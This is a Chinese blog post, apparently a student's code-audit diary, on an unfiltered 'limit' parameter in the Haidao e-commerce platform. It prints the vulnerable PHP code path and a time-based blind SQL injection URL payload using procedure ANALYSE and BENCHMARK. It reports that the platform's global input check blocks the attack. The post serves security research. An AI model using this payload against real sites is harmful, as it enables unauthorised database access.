审计日记1——失败??成功??{海盗云商通用交易平台}

为了提高学习效率,准备重新开始写博客了,为了不放弃,也尽量减少美化排版了。

废话不说,先上图

如图,limit后time盲注同时因为不需要单引号,可以规避magic_quotes_gpc,如果权限高同时mysql没有开启安全模式可以直接写shell ,如下文章
http://www.2cto.com/article/201606/514621.html

system\module\goods\control\index_controll.class.php中 看到 $_GET['limit']直接传入option变量中

public function ajax_goods()
    {
        $sqlmap = array();
        if ($_GET['order']) {
            $sqlmap['order'] = $_GET['order'] == 'rand' ? 'rand()' : 
          ($_GET['order'] == 'sales' ? $sqlmap['order'] = 'sales desc' : $_GET
          ['order']);
        } else {
            $sqlmap['order'] = 'sort asc,sku_id desc';
        }
        if ($_GET['statusext']) {
            $sqlmap['status_ext'] = $_GET['statusext'];
        }
        if ($_GET['catid'] > 0) {
            $sqlmap['catid'] = $_GET['catid'];
        }
        if ($_GET['limit']) {
            $options['limit'] = $_GET['limit'];
        } else {
            $options['limit'] = 5;
        }
        $result = $this->service->lists($sqlmap, $options);
        foreach ($result['lists'] as $key => $value) {
            $result['lists'][$key]['thumb'] = thumb($value['thumb'], $_GET['c'], 
            $_GET['length']);
        }
        $this->load->librarys('View')->assign('result',$result);
        $result = $this->load->librarys('View')->get('result');
        echo json_encode($result);
    }

跟进发现

public function lists($options=array()) {
     $this->count = $this->where($options)->count();
     return $this->where($options)->select();
    }

好了,直接代入sql语句了,再跟进看where

 public function where($where,$parse=null){
        if(!is_null($parse) && is_string($where)) {
            if(!is_array($parse)) {
                $parse = func_get_args();
                array_shift($parse);
            }
            $parse = array_map(array($this->db,'escapeString'),$parse);
            $where =   vsprintf($where,$parse);
        }elseif(is_object($where)){
            $where  =   get_object_vars($where);
        }
        if(is_string($where) && '' != $where){
            $map    =   array();
            $map['_string']   =   $where;
            $where  =   $map;
        }
        if(isset($this->options['where'])){
            $this->options['where'] =   array_merge($this->options['where'],$where);
        }else{
            $this->options['where'] =   $where;
        }
        return $this;
    }

没有过滤,再看看select()

public function select($options=array()) {
        if(is_string($options) || is_numeric($options)) {
            // 根据主键查询
            $pk   =  $this->getPk();
            if(strpos($options,',')) {
                $where[$pk]     =  array('IN',$options);
            }else{
                $where[$pk]     =  $options;
            }
            $options            =  array();
            $options['where']   =  $where;
        }elseif(false === $options){ // 用于子查询 不查询只返回SQL
            $options            =  array();
            // 分析表达式
            $options            =  $this->_parseOptions($options);
            return  '( '.$this->db->buildSelectSql($options).' )';
        }
        // 分析表达式
        $options    =  $this->_parseOptions($options);
        $resultSet  = $this->db->select($options);
        if(false === $resultSet) {
            return false;
        }
        if(empty($resultSet)) { // 查询结果为空
            return null;
        }
        if(method_exists($this, '_after_select')) {
         $resultSet = $this->_after_select($resultSet,$options);
        }
        return $resultSet;
    }

也没有过滤,于是高兴的测试payload

http://localhost/Haidao/index.php?m=goods&c=index&a=ajax_goods&length=1&statusext=1&catid=&order=%27sku_id%27&limit=1,1%20procedure%20ANALYSE((extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)%20LIKE%205,%20BENCHMARK(5000000,SHA1(1)),1))))),1)


失败了

这是怎么回事呢?

跟踪一下错误报告

 private function _init_input() {
  if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) ||  isset($_COOKIE['GLOBALS']) || 
  isset($_FILES['GLOBALS'])) {
   hd_error::system_error('_request_tainting_');
  }
  //加载钩子
  $this->_hook_register();
  $this->_xss_check();
  $_GET = input::get();
  $_POST = input::post();
  $_COOKIE = input::cookie();

$this->_xss_check(); 我擦,这不是DZ的XSS防御函数吗??跟进

private function _xss_check() {
  static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING');
  if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
   $temp = $_SERVER['REQUEST_URI'];
  } elseif(empty ($_GET['formhash'])) {
   $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
  } else {
   $temp = '';
  }
  $temp = $_SERVER['REQUEST_URI'];
  
  if(!empty($temp)) {
   $temp = strtoupper(urldecode(urldecode($temp)));
   //echo $temp;
   foreach ($check as $str) {
    if(strpos($temp, $str) !== false) {
     hd_error::system_error('_request_tainting_');
    }
   }
  }
  return true;
 }

注意 那几个if判断后的 $temp = $_SERVER['REQUEST_URI'];

太狡猾啦...这个我实在想不到如何绕过了,于是把hd_error::system_error('_request_tainting_') 备注掉测试了一下,发现果然存在注入,如最开始两图,但是这个XSS防御太强悍了,让sqli也无法通行

虽然失败了,但觉得收获很大,希望能在毕业前多刷几个洞。

  • 用支付宝打我
  • 用微信打我

3条回应:“审计日记1——失败??成功??{海盗云商通用交易平台}”

  1. curss说道:

    膜一波队长大佬

  2. s1N说道:

    嗯嗯 n(*≧▽≦*)n

  3. 111说道:

    赶紧换了代码高亮插件好难看代码

发表评论

电子邮件地址不会被公开。 必填项已用*标注